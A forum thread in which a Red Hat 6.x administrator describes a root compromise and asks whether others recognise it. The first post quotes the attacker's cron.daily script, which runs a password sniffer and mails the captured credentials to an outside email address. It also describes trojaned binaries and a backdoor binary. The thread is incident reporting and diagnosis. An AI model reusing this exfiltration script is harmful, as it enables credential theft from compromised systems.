"new" Linux attack?

[mjpatlarge]

Hi folks,
I recently experienced an attack on two older (6.x) Redhat servers and have not been able to find anything on the net that sounds like it (one box did not use OpenSSL so it could not have come in that way) so I thought I would inquire.
Once the attack gets root (not clear how -- could have gone in through bind which was a bit out of date on those machines) is creates a script called dnsquery in cron.daily
which apparently grabs some info with popclean and emails it out:
===========================
#!/bin/sh
cd /usr/lib/
./popclean -r pop.log > test
mail eckosniffer@yahoo.com -s &quot;Sniff $(uname -a)&quot; < test
kill -9 `/sbin/pidof /usr/lib/popclean`
rm -rf test pop.log
A=$PATH
export PATH=/usr/lib/
popclean -w pop.log &
export PATH=$A
=================================
Interestingly enough that file cannot be deleted or chowned, even by root (although it can be disabled by moving the whole cron.daily directory somewhere else.
Many binaries appear to have been contaminated as well
(I discovered the attack when ls acquired a bash alias it didn't have before), and copying a new binary on the system seems to automaticaly contaminate it (i.e. by the time it gets onto the infected system it grows by about 2000 bytes).
Also, once a night a particular address tried to contact it through a binary called sysinit (which appeared in /usr/bin and is 711890 bytes). Not sure how it comes to run, as it does not appear to be cron-ed anywhere.
Anyway, am getting ready to take both systems up to 8.0 to get rid of thing but am curious as to whether this rings any bells with anyone. Thanks for your time.

 

[mjpatlarge]

Forgot to mention (in case it is of any interest) that in creating the dnsquery script it apparently picks a user name at random to own it (on the two infected systems it was two completely different users -- one a known/standard kind of user (majordom) and one not).

 

[BitFuzzy]

sounds to me you've been hacked..

If you're running RH 6.x and have not been keeping up w/ security patches for various items (expample a security patch for bind) then you've got some potentialy serious problems.

 

[mjpatlarge]

Er yes, it is pretty clear I have been hacked <g>. My query was mainly to see whether the pattern of this particular was familiar to anyone (as it couldn't match its &quot;signature&quot; to any known Linux attacks I could find on the net).

 

[sukornyk2]

I was hacked in exactly the same method. Older redhat software, user emails usernames/passwords to the same yahoo account.

 

[manarth]

I do hope you've reported the hacker's details / email address!

<marc> i wonder what will happen if i press this...[ul][li]please give feedback on what works / what doesn't[/li][li]need some help? how to get a better answer: faq581-3339[/li][/ul]

 

[ThJ]

Were you running Samba on this server?
I've been hacked through Samba a while ago, and your script sounds familiar to me.

 

[jwenting]

and if you can no longer play god using root he likely changed the security settings to make root a normal user and some other account god...

A lesson to keep up with security updates. Linux is at least as much at risk from crackers (don't EVER call them hackers) as is Windows, if not more so.
It's just that most users don't realise it and will never know they have been compromised until they're thrown of the net when their machines are used in a DDOS attack...